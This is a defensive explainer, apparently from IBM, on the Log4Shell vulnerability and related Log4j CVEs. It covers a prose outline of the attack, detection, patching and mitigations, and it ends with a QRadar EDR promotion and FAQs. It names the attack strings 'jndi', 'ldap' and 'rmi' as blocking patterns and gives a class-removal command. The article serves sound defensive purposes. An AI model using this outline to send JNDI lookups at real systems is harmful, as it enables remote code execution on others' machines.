The Log4j vulnerability, also known as “Log4Shell,” is an incredibly severe software flaw. Despite being patched by Apache in December 2021, it continues to be a significant concern for security teams. In fact, it is among the most exploited security vulnerabilities.

The reason why Log4Shell persists is because the Apache Log4j 2 software package, which is affected by the vulnerability, is widely used around the world. According to the US Department of Homeland Security, it is estimated to take a decade to find and fix every instance of Log4Shell.

In the meantime, security teams can take certain steps to expedite the mitigation and remediation of Log4Shell within their networks.

Understanding Log4j Vulnerabilities

Before discussing how to detect and patch Log4Shell, it’s important to understand the nature of the vulnerability.

Log4j is an open-source logger maintained by the Apache Software Foundation. It is used to record information and events in a program. Log4j is not standalone software; it is a code package that developers can integrate into their own Java applications. This framework is utilized by major services on the web, including network infrastructure like Amazon Web Services (AWS) and popular apps like Twitter and Minecraft.

Some versions of Log4j, specifically Log4j 2.17.0 and below, are plagued by serious vulnerabilities. The most dangerous of these is Log4Shell (CVE-2021-44228; CVSS rating: 10), which is a remote code execution (RCE) zero-day vulnerability found in Log4j versions 2.14.1 and earlier.

Log4Shell exploits the way vulnerable versions of Log4j handle the Java Naming and Directory Interface (JNDI). Threat actors can gain almost complete control over vulnerable systems by sending malicious JNDI lookup commands through Log4j. These commands trick the application into executing arbitrary code, which can result in data theft, ransomware installation, device disruption, and more.

Log4Shell Attacks

A typical Log4Shell cyberattack follows these steps:

1. Hackers set up a server using a common protocol, like Lightweight Directory Access Protocol (LDAP) or Domain Name System (DNS).
2. They store malware or another malicious payload on the server.
3. They send a JNDI lookup to an application that is running Log4j, directing the app to the hacker’s server.
4. The JNDI lookup causes the application to connect to the hacker’s server, download the malicious payload, and execute the malicious code.

Related Log4j Vulnerabilities and Their Exploitation

While Apache was patching Log4Shell, security researchers discovered several related flaws in certain versions of Log4j. These include:

• CVE-2021-45046: This vulnerability allows hackers to send malicious JNDI lookups to systems that use specific non-default settings, even if those systems have fixed Log4Shell. It is present in Log4j versions 2.15 and lower.
• CVE-2021-45105: This vulnerability enables hackers to launch denial-of-service attacks by sending malicious messages to Log4j. It is present in Log4j versions 2.16 and lower.
• CVE-2021-44832: This vulnerability is a remote code execution flaw. It is less critical than Log4Shell because attackers need elevated permissions to exploit it. It is present in Log4j versions 2.17 and lower.

How to Detect Log4j Vulnerabilities

Identifying every vulnerable instance of Log4j within a network can be challenging. Log4j is estimated to exist in millions of applications, meaning security teams have many assets to inspect. Furthermore, Log4j is often present as an indirect dependency, appearing as a dependency of a software package or integration that an asset relies on. It has been reported that most vulnerable Log4j instances are more than one level deep in the chain of dependencies.

However, security teams can detect Log4j vulnerabilities by employing the right tactics and tools.

What to Look For

Every version of Log4j 2 from 2.0-beta9 through 2.17 is vulnerable to Log4Shell or a related flaw. Therefore, security teams must identify and address any version of Log4j prior to 2.17.1.

Log4Shell and its related flaws exist only in “Log4j-core” files, which provide the core functionality of Log4j. These flaws do not appear in “Log4j-api” files that control the interface between applications and Log4j loggers.

Log4j can be present in assets controlled by the company, third-party assets used by the company (e.g., cloud services), and assets used by service providers with access to the company network. While Log4j is commonly found in Java-based applications, it might also be present in non-Java apps through dependencies and integrations.

In Java apps, libraries like Log4j are often packaged in Java Archive files (JAR files). These JAR files can contain other JAR files, and so on. To identify all vulnerable versions of Log4j, security teams must inspect all levels of JAR files, not just the top-level files.

How to Find It

Security experts recommend utilizing a combination of techniques to find Log4j vulnerabilities:

Manual searches: Security teams can manually search for Log4j flaws. They can use tools like Apache Maven to generate dependency trees that map all dependencies in an application, or they can use external threat intelligence to identify affected assets. For example, the Cybersecurity and Infrastructure Security Agency (CISA) compiled a list of software known to be impacted by Log4Shell.

On Linux, Microsoft Windows, and macOS operating systems, security teams can search file directories for instances of Log4j using the command line interface.

Vulnerability scanning tools: After Log4Shell was discovered, several organizations released free tools designed to detect Log4j vulnerabilities. Examples include Palantir’s Log4j-sniffer and the CERT Coordination Center’s scanner. Standard security solutions like vulnerability scanners, attack surface management (ASM) platforms, and endpoint detection and response (EDR) solutions can now also detect Log4j vulnerabilities.

Although automated scans are available, security teams may want to supplement them with more hands-on methods such as penetration tests, as Log4Shell can be hidden deep within dependency chains.

Threat hunting: Attackers have been known to use Log4Shell to penetrate a network and then patch the compromised asset to hide their tracks. Therefore, security teams should assume a breach has occurred and actively search for signs of Log4Shell exploitation. Cybersecurity tools like security information and event management (SIEM) solutions and extended detection and response (XDR) platforms can help detect abnormal activity associated with Log4Shell, such as unusual log entries or suspicious traffic patterns. Full incident response and investigation procedures should be initiated for any possible indication of Log4Shell.

How to Fix Log4j Vulnerabilities

Security teams have a few options when it comes to addressing Log4j vulnerabilities.

The Best Case: Patching Vulnerable Systems

The ideal solution for complete remediation of Log4Shell and related flaws is to update all instances of Log4j in a network to the latest version (or at least version 2.17.1). The latest versions of Log4j remove the functions that attackers can exploit and withdraw support for commonly abused protocols like LDAP.

There is no single system-wide patch available, and updating Java itself does not resolve the issue. Security teams must update every instance of Log4j in every affected asset.

Other Mitigation Measures

If patching is not feasible, organizations can take other mitigation steps to minimize the risk of an attack.

Disallowing message lookups in vulnerable apps: Attackers use a Log4j feature called “message lookup substitutions” to send malicious commands to vulnerable apps. Security teams can manually disallow this function by changing the “Log4j2.formatMsgNoLookups” system property to “true” or by setting the value of the “LOG4J_FORMAT_MSG_NO_LOOKUPS” environment variable to “true.”

While removing the message lookup substitution function makes it more challenging for attackers to exploit vulnerabilities, it is not foolproof. Malicious actors can still use CVE-2021-45046 to send malicious JNDI lookups to apps with non-default settings.

Removing the JNDIlookup class from vulnerable apps: The JNDIlookup class in Log4j governs how the logger handles JNDI lookups. By removing this class from Log4j’s directory of classes, JNDI lookups cannot be performed.

Apache provides the following command to remove the JNDIlookup class from vulnerable apps:

zip -q -d Log4j-core-*.jar org/apache/logging/Log4j/core/lookup/JndiLookup.class

While this method is more effective than disallowing message lookups, it does not prevent attackers from exploiting other vulnerabilities, such as triggering denial-of-service attacks through recursive lookups.

Blocking potential Log4Shell attack traffic: Security teams can use web application firewalls (WAFs), intrusion detection and prevention systems (IDPS), EDRs, and other cybersecurity tools to intercept traffic to and from attacker-controlled servers by blocking commonly used protocols like LDAP or RMI. They can also block IP addresses associated with attacks or strings commonly used by attackers in malicious requests, such as “jndi,” “ldap,” and “rmi.”

However, attackers can bypass these defenses by using new protocols and IP addresses or obfuscating malicious strings.

Quarantining affected assets: As a last resort, security teams can quarantine affected assets while waiting for a patch. One method is to place vulnerable assets in an isolated network segment that cannot be directly accessed from the internet. A WAF can be deployed around this network segment for additional protection.

Keeping Log4Shell and Other Zero-day Vulnerabilities at Bay

One challenge in remediating Log4Shell is that it does not always stay patched. A report by Tenable in November 2022 indicated that 29% of the assets still vulnerable to Log4Shell had been previously patched but the flaw reappeared. These “recurrences” occur when developers accidentally utilize software libraries that contain unpatched versions of Log4j to build or update apps.

To better monitor assets for the reappearance of Log4j vulnerabilities, security teams can implement formal vulnerability management and patch management programs. Regular vulnerability scanning and penetration testing can help quickly identify new vulnerabilities, whether Log4Shell or others. Patch management ensures that new vulnerabilities are addressed as soon as fixes are released by vendors.

Additional Assistance in Combating Log4Shell and Other Zero-Day Vulnerabilities

Automated tools have made it increasingly easier for hackers to exploit zero-day vulnerabilities like Log4Shell and launch a variety of cyber threats, including ransomware attacks. Traditional endpoint security approaches often lead to alert fatigue, complex tooling, and lengthy investigations that are difficult to keep up with.

IBM Security® QRadar® EDR (formerly ReaQta) offers remediation for both known and unknown endpoint threats in near real time. Its intelligent automation requires minimal human interaction and enables analysts to make informed decisions swiftly. With automated alert management, analysts can focus their attention on the most critical threats. QRadar EDR’s advanced AI capabilities and user-friendly interface empower security staff and help protect business continuity.

Summary:

The Log4j vulnerability, also known as Log4Shell, is a major concern for security teams. Despite being patched, it remains one of the most exploited security vulnerabilities. Log4j is widely used and expected to take a long time to completely fix. Security teams can detect and address Log4Shell vulnerabilities by understanding the nature of the vulnerability, using manual searches, vulnerability scanning tools, and threat hunting. To fix Log4j vulnerabilities, organizations should patch vulnerable systems or take other mitigation measures. Additionally, implementing formal vulnerability and patch management programs can help monitor for the reappearance of Log4j vulnerabilities.

FAQs

1. What is Log4j?

Log4j is an open-source logger maintained by the Apache Software Foundation. It is widely used to record information and events in programs.

2. What is Log4Shell?

Log4Shell is a severe vulnerability found in several versions of Log4j. It allows threat actors to execute arbitrary code and take control of vulnerable systems.

3. How can organizations detect Log4j vulnerabilities?

Organizations can detect Log4j vulnerabilities through manual searches, vulnerability scanning tools, and threat hunting techniques. These methods can help identify vulnerable instances of Log4j within a network.

4. How can Log4j vulnerabilities be fixed?

The best way to fix Log4j vulnerabilities is to update all instances of Log4j to the latest version. Additionally, organizations can take other mitigation measures such as disallowing message lookups, removing the JNDIlookup class, blocking potential Log4Shell attack traffic, or quarantining affected assets.

5. How can organizations prevent the reappearance of Log4j vulnerabilities?

Organizations can better monitor for the reappearance of Log4j vulnerabilities by implementing formal vulnerability management and patch management programs. Regular vulnerability scanning, penetration testing, and effective patch management are essential in preventing the return of Log4j vulnerabilities.

6. What is IBM Security QRadar EDR?

IBM Security QRadar EDR is a solution that remediates known and unknown endpoint threats in near real time. It offers intelligent automation and advanced AI capabilities to help security teams make informed decisions and protect business continuity.